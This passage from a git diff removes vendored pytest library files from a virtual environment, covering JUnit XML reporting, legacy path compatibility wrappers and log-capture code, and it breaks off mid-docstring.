pytest_sessionstart(self) -> None: - self.suite_start = timing.Instant() - - def pytest_sessionfinish(self) -> None: - dirname = os.path.dirname(os.path.abspath(self.logfile)) - # exist_ok avoids filesystem race conditions between checking path existence and requesting creation - os.makedirs(dirname, exist_ok=True) - - with open(self.logfile, "w", encoding="utf-8") as logfile: - duration = self.suite_start.elapsed() - - numtests = ( - self.stats["passed"] - + self.stats["failure"] - + self.stats["skipped"] - + self.stats["error"] - - self.cnt_double_fail_tests - ) - logfile.write('') - - suite_node = ET.Element( - "testsuite", - name=self.suite_name, - errors=str(self.stats["error"]), - failures=str(self.stats["failure"]), - skipped=str(self.stats["skipped"]), - tests=str(numtests), - time=f"{duration.seconds:.3f}", - timestamp=self.suite_start.as_utc().astimezone().isoformat(), - hostname=platform.node(), - ) - global_properties = self._get_global_properties_node() - if global_properties is not None: - suite_node.append(global_properties) - for node_reporter in self.node_reporters_ordered: - suite_node.append(node_reporter.to_xml()) - testsuites = ET.Element("testsuites") - testsuites.set("name", "pytest tests") - testsuites.append(suite_node) - logfile.write(ET.tostring(testsuites, encoding="unicode")) - - def pytest_terminal_summary( - self, terminalreporter: TerminalReporter, config: pytest.Config - ) -> None: - if config.get_verbosity() >= 0: - terminalreporter.write_sep("-", f"generated xml file: {self.logfile}") - - def add_global_property(self, name: str, value: object) -> None: - __tracebackhide__ = True - _check_record_param_type("name", name) - self.global_properties.append((name, bin_xml_escape(value))) - - def _get_global_properties_node(self) -> ET.Element | None: - """Return a Junit node containing custom properties, if any.""" - if self.global_properties: - properties = ET.Element("properties") - for name, value in self.global_properties: - properties.append(ET.Element("property", name=name, value=value)) - return properties - return None diff --git a/venv/Lib/site-packages/_pytest/legacypath.py b/venv/Lib/site-packages/_pytest/legacypath.py deleted file mode 100644 index 59e8ef6e7427ed2f548c1da72c9acceb82ef31fa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/legacypath.py +++ /dev/null @@ -1,468 +0,0 @@ -# mypy: allow-untyped-defs -"""Add backward compatibility support for the legacy py path type.""" - -from __future__ import annotations - -import dataclasses -from pathlib import Path -import shlex -import subprocess -from typing import Final -from typing import final -from typing import TYPE_CHECKING - -from iniconfig import SectionWrapper - -from _pytest.cacheprovider import Cache -from _pytest.compat import LEGACY_PATH -from _pytest.compat import legacy_path -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config import PytestPluginManager -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.main import Session -from _pytest.monkeypatch import MonkeyPatch -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.nodes import Node -from _pytest.pytester import HookRecorder -from _pytest.pytester import Pytester -from _pytest.pytester import RunResult -from _pytest.terminal import TerminalReporter -from _pytest.tmpdir import TempPathFactory - - -if TYPE_CHECKING: - import pexpect - - -@final -class Testdir: - """ - Similar to :class:`Pytester`, but this class works with legacy legacy_path objects instead. - - All methods just forward to an internal :class:`Pytester` instance, converting results - to `legacy_path` objects as necessary. - """ - - __test__ = False - - CLOSE_STDIN: Final = Pytester.CLOSE_STDIN - TimeoutExpired: Final = Pytester.TimeoutExpired - - def __init__(self, pytester: Pytester, *, _ispytest: bool = False) -> None: - check_ispytest(_ispytest) - self._pytester = pytester - - @property - def tmpdir(self) -> LEGACY_PATH: - """Temporary directory where tests are executed.""" - return legacy_path(self._pytester.path) - - @property - def test_tmproot(self) -> LEGACY_PATH: - return legacy_path(self._pytester._test_tmproot) - - @property - def request(self): - return self._pytester._request - - @property - def plugins(self): - return self._pytester.plugins - - @plugins.setter - def plugins(self, plugins): - self._pytester.plugins = plugins - - @property - def monkeypatch(self) -> MonkeyPatch: - return self._pytester._monkeypatch - - def make_hook_recorder(self, pluginmanager) -> HookRecorder: - """See :meth:`Pytester.make_hook_recorder`.""" - return self._pytester.make_hook_recorder(pluginmanager) - - def chdir(self) -> None: - """See :meth:`Pytester.chdir`.""" - return self._pytester.chdir() - - def finalize(self) -> None: - return self._pytester._finalize() - - def makefile(self, ext, *args, **kwargs) -> LEGACY_PATH: - """See :meth:`Pytester.makefile`.""" - if ext and not ext.startswith("."): - # pytester.makefile is going to throw a ValueError in a way that - # testdir.makefile did not, because - # pathlib.Path is stricter suffixes than py.path - # This ext arguments is likely user error, but since testdir has - # allowed this, we will prepend "." as a workaround to avoid breaking - # testdir usage that worked before - ext = "." + ext - return legacy_path(self._pytester.makefile(ext, *args, **kwargs)) - - def makeconftest(self, source) -> LEGACY_PATH: - """See :meth:`Pytester.makeconftest`.""" - return legacy_path(self._pytester.makeconftest(source)) - - def makeini(self, source) -> LEGACY_PATH: - """See :meth:`Pytester.makeini`.""" - return legacy_path(self._pytester.makeini(source)) - - def getinicfg(self, source: str) -> SectionWrapper: - """See :meth:`Pytester.getinicfg`.""" - return self._pytester.getinicfg(source) - - def makepyprojecttoml(self, source) -> LEGACY_PATH: - """See :meth:`Pytester.makepyprojecttoml`.""" - return legacy_path(self._pytester.makepyprojecttoml(source)) - - def makepyfile(self, *args, **kwargs) -> LEGACY_PATH: - """See :meth:`Pytester.makepyfile`.""" - return legacy_path(self._pytester.makepyfile(*args, **kwargs)) - - def maketxtfile(self, *args, **kwargs) -> LEGACY_PATH: - """See :meth:`Pytester.maketxtfile`.""" - return legacy_path(self._pytester.maketxtfile(*args, **kwargs)) - - def syspathinsert(self, path=None) -> None: - """See :meth:`Pytester.syspathinsert`.""" - return self._pytester.syspathinsert(path) - - def mkdir(self, name) -> LEGACY_PATH: - """See :meth:`Pytester.mkdir`.""" - return legacy_path(self._pytester.mkdir(name)) - - def mkpydir(self, name) -> LEGACY_PATH: - """See :meth:`Pytester.mkpydir`.""" - return legacy_path(self._pytester.mkpydir(name)) - - def copy_example(self, name=None) -> LEGACY_PATH: - """See :meth:`Pytester.copy_example`.""" - return legacy_path(self._pytester.copy_example(name)) - - def getnode(self, config: Config, arg) -> Item | Collector | None: - """See :meth:`Pytester.getnode`.""" - return self._pytester.getnode(config, arg) - - def getpathnode(self, path): - """See :meth:`Pytester.getpathnode`.""" - return self._pytester.getpathnode(path) - - def genitems(self, colitems: list[Item | Collector]) -> list[Item]: - """See :meth:`Pytester.genitems`.""" - return self._pytester.genitems(colitems) - - def runitem(self, source): - """See :meth:`Pytester.runitem`.""" - return self._pytester.runitem(source) - - def inline_runsource(self, source, *cmdlineargs): - """See :meth:`Pytester.inline_runsource`.""" - return self._pytester.inline_runsource(source, *cmdlineargs) - - def inline_genitems(self, *args): - """See :meth:`Pytester.inline_genitems`.""" - return self._pytester.inline_genitems(*args) - - def inline_run(self, *args, plugins=(), no_reraise_ctrlc: bool = False): - """See :meth:`Pytester.inline_run`.""" - return self._pytester.inline_run( - *args, plugins=plugins, no_reraise_ctrlc=no_reraise_ctrlc - ) - - def runpytest_inprocess(self, *args, **kwargs) -> RunResult: - """See :meth:`Pytester.runpytest_inprocess`.""" - return self._pytester.runpytest_inprocess(*args, **kwargs) - - def runpytest(self, *args, **kwargs) -> RunResult: - """See :meth:`Pytester.runpytest`.""" - return self._pytester.runpytest(*args, **kwargs) - - def parseconfig(self, *args) -> Config: - """See :meth:`Pytester.parseconfig`.""" - return self._pytester.parseconfig(*args) - - def parseconfigure(self, *args) -> Config: - """See :meth:`Pytester.parseconfigure`.""" - return self._pytester.parseconfigure(*args) - - def getitem(self, source, funcname="test_func"): - """See :meth:`Pytester.getitem`.""" - return self._pytester.getitem(source, funcname) - - def getitems(self, source): - """See :meth:`Pytester.getitems`.""" - return self._pytester.getitems(source) - - def getmodulecol(self, source, configargs=(), withinit=False): - """See :meth:`Pytester.getmodulecol`.""" - return self._pytester.getmodulecol( - source, configargs=configargs, withinit=withinit - ) - - def collect_by_name(self, modcol: Collector, name: str) -> Item | Collector | None: - """See :meth:`Pytester.collect_by_name`.""" - return self._pytester.collect_by_name(modcol, name) - - def popen( - self, - cmdargs, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - stdin=CLOSE_STDIN, - **kw, - ): - """See :meth:`Pytester.popen`.""" - return self._pytester.popen(cmdargs, stdout, stderr, stdin, **kw) - - def run(self, *cmdargs, timeout=None, stdin=CLOSE_STDIN) -> RunResult: - """See :meth:`Pytester.run`.""" - return self._pytester.run(*cmdargs, timeout=timeout, stdin=stdin) - - def runpython(self, script) -> RunResult: - """See :meth:`Pytester.runpython`.""" - return self._pytester.runpython(script) - - def runpython_c(self, command): - """See :meth:`Pytester.runpython_c`.""" - return self._pytester.runpython_c(command) - - def runpytest_subprocess(self, *args, timeout=None) -> RunResult: - """See :meth:`Pytester.runpytest_subprocess`.""" - return self._pytester.runpytest_subprocess(*args, timeout=timeout) - - def spawn_pytest(self, string: str, expect_timeout: float = 10.0) -> pexpect.spawn: - """See :meth:`Pytester.spawn_pytest`.""" - return self._pytester.spawn_pytest(string, expect_timeout=expect_timeout) - - def spawn(self, cmd: str, expect_timeout: float = 10.0) -> pexpect.spawn: - """See :meth:`Pytester.spawn`.""" - return self._pytester.spawn(cmd, expect_timeout=expect_timeout) - - def __repr__(self) -> str: - return f"" - - def __str__(self) -> str: - return str(self.tmpdir) - - -class LegacyTestdirPlugin: - @staticmethod - @fixture - def testdir(pytester: Pytester) -> Testdir: - """ - Identical to :fixture:`pytester`, and provides an instance whose methods return - legacy ``LEGACY_PATH`` objects instead when applicable. - - New code should avoid using :fixture:`testdir` in favor of :fixture:`pytester`. - """ - return Testdir(pytester, _ispytest=True) - - -@final -@dataclasses.dataclass -class TempdirFactory: - """Backward compatibility wrapper that implements ``py.path.local`` - for :class:`TempPathFactory`. - - .. note:: - These days, it is preferred to use ``tmp_path_factory``. - - :ref:`About the tmpdir and tmpdir_factory fixtures`. - - """ - - _tmppath_factory: TempPathFactory - - def __init__( - self, tmppath_factory: TempPathFactory, *, _ispytest: bool = False - ) -> None: - check_ispytest(_ispytest) - self._tmppath_factory = tmppath_factory - - def mktemp(self, basename: str, numbered: bool = True) -> LEGACY_PATH: - """Same as :meth:`TempPathFactory.mktemp`, but returns a ``py.path.local`` object.""" - return legacy_path(self._tmppath_factory.mktemp(basename, numbered).resolve()) - - def getbasetemp(self) -> LEGACY_PATH: - """Same as :meth:`TempPathFactory.getbasetemp`, but returns a ``py.path.local`` object.""" - return legacy_path(self._tmppath_factory.getbasetemp().resolve()) - - -class LegacyTmpdirPlugin: - @staticmethod - @fixture(scope="session") - def tmpdir_factory(request: FixtureRequest) -> TempdirFactory: - """Return a :class:`pytest.TempdirFactory` instance for the test session.""" - # Set dynamically by pytest_configure(). - return request.config._tmpdirhandler # type: ignore - - @staticmethod - @fixture - def tmpdir(tmp_path: Path) -> LEGACY_PATH: - """Return a temporary directory (as `legacy_path`_ object) - which is unique to each test function invocation. - The temporary directory is created as a subdirectory - of the base temporary directory, with configurable retention, - as discussed in :ref:`temporary directory location and retention`. - - .. note:: - These days, it is preferred to use ``tmp_path``. - - :ref:`About the tmpdir and tmpdir_factory fixtures`. - - .. _legacy_path: https://py.readthedocs.io/en/latest/path.html - """ - return legacy_path(tmp_path) - - -def Cache_makedir(self: Cache, name: str) -> LEGACY_PATH: - """Return a directory path object with the given name. - - Same as :func:`mkdir`, but returns a legacy py path instance. - """ - return legacy_path(self.mkdir(name)) - - -def FixtureRequest_fspath(self: FixtureRequest) -> LEGACY_PATH: - """(deprecated) The file system path of the test module which collected this test.""" - return legacy_path(self.path) - - -def TerminalReporter_startdir(self: TerminalReporter) -> LEGACY_PATH: - """The directory from which pytest was invoked. - - Prefer to use ``startpath`` which is a :class:`pathlib.Path`. - - :type: LEGACY_PATH - """ - return legacy_path(self.startpath) - - -def Config_invocation_dir(self: Config) -> LEGACY_PATH: - """The directory from which pytest was invoked. - - Prefer to use :attr:`invocation_params.dir `, - which is a :class:`pathlib.Path`. - - :type: LEGACY_PATH - """ - return legacy_path(str(self.invocation_params.dir)) - - -def Config_rootdir(self: Config) -> LEGACY_PATH: - """The path to the :ref:`rootdir `. - - Prefer to use :attr:`rootpath`, which is a :class:`pathlib.Path`. - - :type: LEGACY_PATH - """ - return legacy_path(str(self.rootpath)) - - -def Config_inifile(self: Config) -> LEGACY_PATH | None: - """The path to the :ref:`configfile `. - - Prefer to use :attr:`inipath`, which is a :class:`pathlib.Path`. - - :type: Optional[LEGACY_PATH] - """ - return legacy_path(str(self.inipath)) if self.inipath else None - - -def Session_startdir(self: Session) -> LEGACY_PATH: - """The path from which pytest was invoked. - - Prefer to use ``startpath`` which is a :class:`pathlib.Path`. - - :type: LEGACY_PATH - """ - return legacy_path(self.startpath) - - -def Config__getini_unknown_type(self, name: str, type: str, value: str | list[str]): - if type == "pathlist": - # TODO: This assert is probably not valid in all cases. - assert self.inipath is not None - dp = self.inipath.parent - input_values = shlex.split(value) if isinstance(value, str) else value - return [legacy_path(str(dp / x)) for x in input_values] - else: - raise ValueError(f"unknown configuration type: {type}", value) - - -def Node_fspath(self: Node) -> LEGACY_PATH: - """(deprecated) returns a legacy_path copy of self.path""" - return legacy_path(self.path) - - -def Node_fspath_set(self: Node, value: LEGACY_PATH) -> None: - self.path = Path(value) - - -@hookimpl(tryfirst=True) -def pytest_load_initial_conftests(early_config: Config) -> None: - """Monkeypatch legacy path attributes in several classes, as early as possible.""" - mp = MonkeyPatch() - early_config.add_cleanup(mp.undo) - - # Add Cache.makedir(). - mp.setattr(Cache, "makedir", Cache_makedir, raising=False) - - # Add FixtureRequest.fspath property. - mp.setattr(FixtureRequest, "fspath", property(FixtureRequest_fspath), raising=False) - - # Add TerminalReporter.startdir property. - mp.setattr( - TerminalReporter, "startdir", property(TerminalReporter_startdir), raising=False - ) - - # Add Config.{invocation_dir,rootdir,inifile} properties. - mp.setattr(Config, "invocation_dir", property(Config_invocation_dir), raising=False) - mp.setattr(Config, "rootdir", property(Config_rootdir), raising=False) - mp.setattr(Config, "inifile", property(Config_inifile), raising=False) - - # Add Session.startdir property. - mp.setattr(Session, "startdir", property(Session_startdir), raising=False) - - # Add pathlist configuration type. - mp.setattr(Config, "_getini_unknown_type", Config__getini_unknown_type) - - # Add Node.fspath property. - mp.setattr(Node, "fspath", property(Node_fspath, Node_fspath_set), raising=False) - - -@hookimpl -def pytest_configure(config: Config) -> None: - """Installs the LegacyTmpdirPlugin if the ``tmpdir`` plugin is also installed.""" - if config.pluginmanager.has_plugin("tmpdir"): - mp = MonkeyPatch() - config.add_cleanup(mp.undo) - # Create TmpdirFactory and attach it to the config object. - # - # This is to comply with existing plugins which expect the handler to be - # available at pytest_configure time, but ideally should be moved entirely - # to the tmpdir_factory session fixture. - try: - tmp_path_factory = config._tmp_path_factory # type: ignore[attr-defined] - except AttributeError: - # tmpdir plugin is blocked. - pass - else: - _tmpdirhandler = TempdirFactory(tmp_path_factory, _ispytest=True) - mp.setattr(config, "_tmpdirhandler", _tmpdirhandler, raising=False) - - config.pluginmanager.register(LegacyTmpdirPlugin, "legacypath-tmpdir") - - -@hookimpl -def pytest_plugin_registered(plugin: object, manager: PytestPluginManager) -> None: - # pytester is not loaded by default and is commonly loaded from a conftest, - # so checking for it in `pytest_configure` is not enough. - is_pytester = plugin is manager.get_plugin("pytester") - if is_pytester and not manager.is_registered(LegacyTestdirPlugin): - manager.register(LegacyTestdirPlugin, "legacypath-pytester") diff --git a/venv/Lib/site-packages/_pytest/logging.py b/venv/Lib/site-packages/_pytest/logging.py deleted file mode 100644 index 3204d43ee012b00569c383788b8423e4492c439f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/logging.py +++ /dev/null @@ -1,975 +0,0 @@ -# mypy: allow-untyped-defs -"""Access and control log capturing.""" - -from __future__ import annotations - -from collections.abc import Generator -from collections.abc import Mapping -from collections.abc import Set as AbstractSet -from contextlib import contextmanager -from contextlib import nullcontext -from datetime import datetime -from datetime import timedelta -from datetime import timezone -import io -from io import StringIO -import logging -from logging import LogRecord -import os -from pathlib import Path -import re -from types import TracebackType -from typing import final -from typing import Generic -from typing import Literal -from typing import TYPE_CHECKING -from typing import TypeVar - -from _pytest import nodes -from _pytest._io import TerminalWriter -from _pytest.capture import CaptureManager -from _pytest.config import _strtobool -from _pytest.config import Config -from _pytest.config import create_terminal_writer -from _pytest.config import hookimpl -from _pytest.config import UsageError -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.main import Session -from _pytest.stash import StashKey -from _pytest.terminal import TerminalReporter - - -if TYPE_CHECKING: - logging_StreamHandler = logging.StreamHandler[StringIO] -else: - logging_StreamHandler = logging.StreamHandler - -DEFAULT_LOG_FORMAT = "%(levelname)-8s %(name)s:%(filename)s:%(lineno)d %(message)s" -DEFAULT_LOG_DATE_FORMAT = "%H:%M:%S" -_ANSI_ESCAPE_SEQ = re.compile(r"\x1b\[[\d;]+m") -caplog_handler_key = StashKey["LogCaptureHandler"]() -caplog_records_key = StashKey[dict[str, list[logging.LogRecord]]]() - - -def _remove_ansi_escape_sequences(text: str) -> str: - return _ANSI_ESCAPE_SEQ.sub("", text) - - -class DatetimeFormatter(logging.Formatter): - """A logging formatter which formats record with - :func:`datetime.datetime.strftime` formatter instead of - :func:`time.strftime` in case of microseconds in format string. - """ - - def formatTime(self, record: LogRecord, datefmt: str | None = None) -> str: - if datefmt and "%f" in datefmt: - ct = self.converter(record.created) - tz = timezone(timedelta(seconds=ct.tm_gmtoff), ct.tm_zone) - # Construct `datetime.datetime` object from `struct_time` - # and msecs information from `record` - # Using int() instead of round() to avoid it exceeding 1_000_000 and causing a ValueError (#11861). - dt = datetime(*ct[0:6], microsecond=int(record.msecs * 1000), tzinfo=tz) - return dt.strftime(datefmt) - # Use `logging.Formatter` for non-microsecond formats - return super().formatTime(record, datefmt) - - -class ColoredLevelFormatter(DatetimeFormatter): - """A logging formatter which colorizes the %(levelname)..s part of the - log format passed to __init__.""" - - LOGLEVEL_COLOROPTS: Mapping[int, AbstractSet[str]] = { - logging.CRITICAL: {"red"}, - logging.ERROR: {"red", "bold"}, - logging.WARNING: {"yellow"}, - logging.WARN: {"yellow"}, - logging.INFO: {"green"}, - logging.DEBUG: {"purple"}, - logging.NOTSET: set(), - } - LEVELNAME_FMT_REGEX = re.compile(r"%\(levelname\)([+-.]?\d*(?:\.\d+)?s)") - - def __init__(self, terminalwriter: TerminalWriter, *args, **kwargs) -> None: - super().__init__(*args, **kwargs) - self._terminalwriter = terminalwriter - self._original_fmt = self._style._fmt - self._level_to_fmt_mapping: dict[int, str] = {} - - for level, color_opts in self.LOGLEVEL_COLOROPTS.items(): - self.add_color_level(level, *color_opts) - - def add_color_level(self, level: int, *color_opts: str) -> None: - """Add or update color opts for a log level. - - :param level: - Log level to apply a style to, e.g. ``logging.INFO``. - :param color_opts: - ANSI escape sequence color options. Capitalized colors indicates - background color, i.e. ``'green', 'Yellow', 'bold'`` will give bold - green text on yellow background. - - .. warning:: - This is an experimental API. - """ - assert self._fmt is not None - levelname_fmt_match = self.LEVELNAME_FMT_REGEX.search(self._fmt) - if not levelname_fmt_match: - return - levelname_fmt = levelname_fmt_match.group() - - formatted_levelname = levelname_fmt % {"levelname": logging.getLevelName(level)} - - # add ANSI escape sequences around the formatted levelname - color_kwargs = {name: True for name in color_opts} - colorized_formatted_levelname = self._terminalwriter.markup( - formatted_levelname, **color_kwargs - ) - self._level_to_fmt_mapping[level] = self.LEVELNAME_FMT_REGEX.sub( - colorized_formatted_levelname, self._fmt - ) - - def format(self, record: logging.LogRecord) -> str: - fmt = self._level_to_fmt_mapping.get(record.levelno, self._original_fmt) - self._style._fmt = fmt - return super().format(record) - - -class PercentStyleMultiline(logging.PercentStyle): - """A logging style with special support for multiline messages. - - If the message of a record consists of multiple lines, this style - formats the message as if each line were logged separately. - """ - - def __init__(self, fmt: str, auto_indent: int | str | bool | None) -> None: - super().__init__(fmt) - self._auto_indent = self._get_auto_indent(auto_indent) - - @staticmethod - def _get_auto_indent(auto_indent_option: int | str | bool | None) -> int: - """Determine the current auto indentation setting. - - Specify auto indent behavior (on/off/fixed) by passing in - extra={"auto_indent": [value]} to the call to logging.log() or - using a --log-auto-indent [value] command line or the - log_auto_indent [value] config option. - - Default behavior is auto-indent off. - - Using the string "True" or "on" or the boolean True as the value - turns auto indent on, using the string "False" or "off" or the - boolean False or the int 0 turns it off, and specifying a - positive integer fixes the indentation position to the value - specified. - - Any other values for the option are invalid, and will silently be - converted to the default. - - :param None|bool|int|str auto_indent_option: - User specified option for indentation from command line, config - or extra kwarg. Accepts int, bool or str. str option accepts the - same range of values as boolean config options, as well as - positive integers represented in str form. - - :returns: - Indentation value, which can be - -1 (automatically determine indentation) or - 0 (auto-indent turned off) or - >0 (explicitly set indentation position). - """ - match auto_indent_option: - case None | False: - return 0 - case True: - return -1 - case int(): - return auto_indent_option - case str(): - try: - return int(auto_indent_option) - except ValueError: - pass - try: - if _strtobool(auto_indent_option): - return -1 - except ValueError: - return 0 - return 0 - - def format(self, record: logging.LogRecord) -> str: - if "\n" in record.message: - if hasattr(record, "auto_indent"): - # Passed in from the "extra={}" kwarg on the call to logging.log(). - auto_indent = self._get_auto_indent(record.auto_indent) - else: - auto_indent = self._auto_indent - - if auto_indent: - lines = record.message.splitlines() - formatted = self._fmt % {**record.__dict__, "message": lines[0]} - - if auto_indent < 0: - indentation = _remove_ansi_escape_sequences(formatted).find( - lines[0] - ) - else: - # Optimizes logging by allowing a fixed indentation. - indentation = auto_indent - lines[0] = formatted - return ("\n" + " " * indentation).join(lines) - return self._fmt % record.__dict__ - - -def get_option_ini(config: Config, *names: str): - for name in names: - ret = config.getoption(name) # 'default' arg won't work as expected - if ret is None: - ret = config.getini(name) - if ret: - return ret - - -def pytest_addoption(parser: Parser) -> None: - """Add options to control log capturing.""" - group = parser.getgroup("logging") - - def add_option_ini(option, dest, default=None, type=None, **kwargs): - parser.addini( - dest, default=default, type=type, help="Default value for " + option - ) - group.addoption(option, dest=dest, **kwargs) - - add_option_ini( - "--log-level", - dest="log_level", - default=None, - metavar="LEVEL", - help=( - "Level of messages to catch/display." - " Not set by default, so it depends on the root/parent log handler's" - ' effective level, where it is "WARNING" by default.' - ), - ) - add_option_ini( - "--log-format", - dest="log_format", - default=DEFAULT_LOG_FORMAT, - help="Log format used by the logging module", - ) - add_option_ini( - "--log-date-format", - dest="log_date_format", - default=DEFAULT_LOG_DATE_FORMAT, - help="Log date format used by the logging module", - ) - parser.addini( - "log_cli", - default=False, - type="bool", - help='Enable log display during test run (also known as "live logging")', - ) - add_option_ini( - "--log-cli-level", dest="log_cli_level", default=None, help="CLI logging level" - ) - add_option_ini( - "--log-cli-format", - dest="log_cli_format", - default=None, - help="Log format used by the logging module", - ) - add_option_ini( - "--log-cli-date-format", - dest="log_cli_date_format", - default=None, - help="Log date format used by the logging module", - ) - add_option_ini( - "--log-file", - dest="log_file", - default=None, - help="Path to a file when logging will be written to", - ) - add_option_ini( - "--log-file-mode", - dest="log_file_mode", - default="w", - choices=["w", "a"], - help="Log file open mode", - ) - add_option_ini( - "--log-file-level", - dest="log_file_level", - default=None, - help="Log file logging level", - ) - add_option_ini( - "--log-file-format", - dest="log_file_format", - default=None, - help="Log format used by the logging module", - ) - add_option_ini( - "--log-file-date-format", - dest="log_file_date_format", - default=None, - help="Log date format used by the logging module", - ) - add_option_ini( - "--log-auto-indent", - dest="log_auto_indent", - default=None, - help="Auto-indent multiline messages passed to the logging module. Accepts true|on, false|off or an integer.", - ) - group.addoption( - "--log-disable", - action="append", - default=[], - dest="logger_disable", - help="Disable a logger by name. Can be passed multiple times.", - ) - - -_HandlerType = TypeVar("_HandlerType", bound=logging.Handler) - - -# Not using @contextmanager for performance reasons. -class catching_logs(Generic[_HandlerType]): - """Context manager that prepares the whole logging machinery properly.""" - - __slots__ = ("attached_loggers", "handler", "level", "orig_level") - - def __init__(self, handler: _HandlerType, level: int | None = None) -> None: - self.handler = handler - self.level = level - self.attached_loggers: list[logging.Logger] = [] - - def __enter__(self) -> _HandlerType: - root_logger = logging.getLogger() - if self.level is not None: - self.handler.setLevel(self.level) - # Attach to root logger. - root_logger.addHandler(self.handler) - self.attached_loggers.append(root_logger) - # Attach to all non-propagating loggers (won't reach root). - # Note that will miss loggers that *become* non-propagating - # after the `__enter__`. Not worth the trouble for now. - for logger in root_logger.manager.loggerDict.values(): - if ( - isinstance(logger, logging.Logger) - and not logger.propagate - and logger is not root_logger - ): - logger.addHandler(self.handler) - self.attached_loggers.append(logger) - if self.level is not None: - # Non-propagating loggers still inherit the level (unless a logger - # explicitly set level), so only do this on the root logger. - self.orig_level = root_logger.level - root_logger.setLevel(min(self.orig_level, self.level)) - return self.handler - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - root_logger = logging.getLogger() - if self.level is not None: - root_logger.setLevel(self.orig_level) - for logger in self.attached_loggers: - logger.removeHandler(self.handler) - self.attached_loggers.clear() - - -class LogCaptureHandler(logging_StreamHandler): - """A logging handler that stores log records and the log text.""" - - def __init__(self) -> None: - """Create a new log handler.""" - super().__init__(StringIO()) - self.records: list[logging.LogRecord] = [] - - def emit(self, record: logging.LogRecord) -> None: - """Keep the log records in a list in addition to the log text.""" - self.records.append(record) - super().emit(record) - - def reset(self) -> None: - self.records = [] - self.stream = StringIO() - - def clear(self) -> None: - self.records.clear() - self.stream = StringIO() - - def handleError(self, record: logging.LogRecord) -> None: - if logging.raiseExceptions: - # Fail the test if the log message is bad (emit failed). - # The default behavior of logging is to print "Logging error" - # to stderr with the call stack and some extra details. - # pytest wants to make such mistakes visible during testing. - raise # noqa: PLE0704 - - -@final -class LogCaptureFixture: - """Provides access and control of log capturing.""" - - def __init__(self, item: nodes.Node, *, _ispytest: bool = False) -> None: - check_ispytest(_ispytest) - self._item = item - self._initial_handler_level: int | None = None - # Dict of log name -> log level. - self._initial_logger_levels: dict[str | None, int] = {} - self._initial_disabled_logging_level: int | None = None - - def _finalize(self) -> None: - """Finalize the fixture. - - This restores the log levels and the disabled logging levels changed by :meth:`set_level`. - """ - # Restore log levels. - if self._initial_handler_level is not None: - self.handler.setLevel(self._initial_handler_level) - for logger_name, level in self._initial_logger_levels.items(): - logger = logging.getLogger(logger_name) - logger.setLevel(level) - # Disable logging at the original disabled logging level. - if self._initial_disabled_logging_level is not None: - logging.disable(self._initial_disabled_logging_level) - self._initial_disabled_logging_level = None - - @property - def handler(self) -> LogCaptureHandler: - """Get the logging handler used by the fixture.""" - return self._item.stash[caplog_handler_key] - - def get_records( - self, when: Literal["setup", "call", "teardown"] - ) -> list[logging.LogRecord]: - """Get the logging records for one of the possible test phases. - - :param when: - Which test phase to obtain the records from. - Valid values are: "setup", "call" and "teardown". - - :returns: The list of captured records at the given stage. - - .. versionadded:: 3.4 - """ - return self._item.stash[caplog_records_key].get(when, []) - - @property - def text(self) -> str: - """The formatted log text.""" - return _remove_ansi_escape_sequences(self.handler.stream.getvalue()) - - @property - def records(self) -> list[logging.LogRecord]: - """The list of log records.""" - return self.handler.records - - @property - def record_tuples(self) -> list[tuple[str, int, str]]: - """A list of a stripped down version of log records intended - for use in assertion comparison. - - The format of the tuple is: - - (logger_name, log_level, message) - """ - return [(r.name, r.levelno, r.getMessage()) for r in self.records] - - @property - def messages(self) -> list[str]: - """A list of format-interpolated log messages. - - Unlike 'records', which contains the format string and parameters for - interpolation, log messages in this list are all interpolated. - - Unlike 'text', which contains the output from the handler, log - messages in this list are unadorned with levels, timestamps, etc, - making exact comparisons more reliable. - - Note that traceback or stack info (from :func:`logging.exception` or - the `exc_info` or `stack_info` arguments to the logging functions) is - not included, as this is added by the formatter in the handler. - - .. versionadded:: 3.7 - """ - return [r.getMessage() for r in self.records] - - def clear(self) -> None: - """Reset the list of log records and the captured log text.""" - self.handler.clear() - - def _force_enable_logging( - self, level: int | str, logger_obj: logging.Logger - ) -> int: - """Enable the desired logging level if the global level was disabled via ``logging.disabled``. - - Only enables logging levels greater than or equal to the requested ``level``. - - Does nothing if the desired ``level`` wasn't disabled. - - :param level: - The logger level caplog should capture. - All logging is enabled if a non-standard logging level string is supplied. - Valid level strings are in :data:`logging._nameToLevel`. - :param logger_obj: The logger object to check. - - :return: The original disabled logging level. - """ - original_disable_level: int = logger_obj.manager.disable - - if isinstance(level, str): - # Try to translate the level string to an int for `logging.disable()` - level = logging.getLevelName(level) # type: ignore[deprecated] - - if not isinstance(level, int): - # The level provided was not valid, so just un-disable all logging. - logging.disable(logging.NOTSET) - elif not logger_obj.isEnabledFor(level): - # Each level is `10` away from other levels. - # https://docs.python.org/3/library/logging.html#logging-levels - disable_level = max(level - 10, logging.NOTSET) - logging.disable(disable_level) - - return original_disable_level - - def set_level(self, level: int | str, logger: str | None = None) -> None: - """Set the threshold level of a logger for the duration of a test. - - Logging messages which are less severe than this level will not be captured. - - .. versionchanged:: 3.4 - The levels of the loggers changed by this function will be - restored to their initial values at the end of the test. - - Will enable the requested logging level if it was disabled via :func:`logging.disable`. - - :param level: The level. - :param logger: The logger to update. If not given, the root logger. - """ - logger_obj = logging.getLogger(logger) - # Save the original log-level to restore it during teardown. - self._initial_logger_levels.setdefault(logger, logger_obj.level) - logger_obj.setLevel(level) - if self._initial_handler_level is None: - self._initial_handler_level = self.handler.level - self.handler.setLevel(level) - initial_disabled_logging_level = self._force_enable_logging(level, logger_obj) - if self._initial_disabled_logging_level is None: - self._initial_disabled_logging_level = initial_disabled_logging_level - - @contextmanager - def at_level(self, level: int | str, logger: str | None = None) -> Generator[None]: - """Context manager that sets the level for capturing of logs. After - the end of the 'with' statement the level is restored to its original - value. - - Will enable the requested logging level if it was disabled via :func:`logging.disable`. - - :param level: The level. - :param logger: The logger to update. If not given, the root 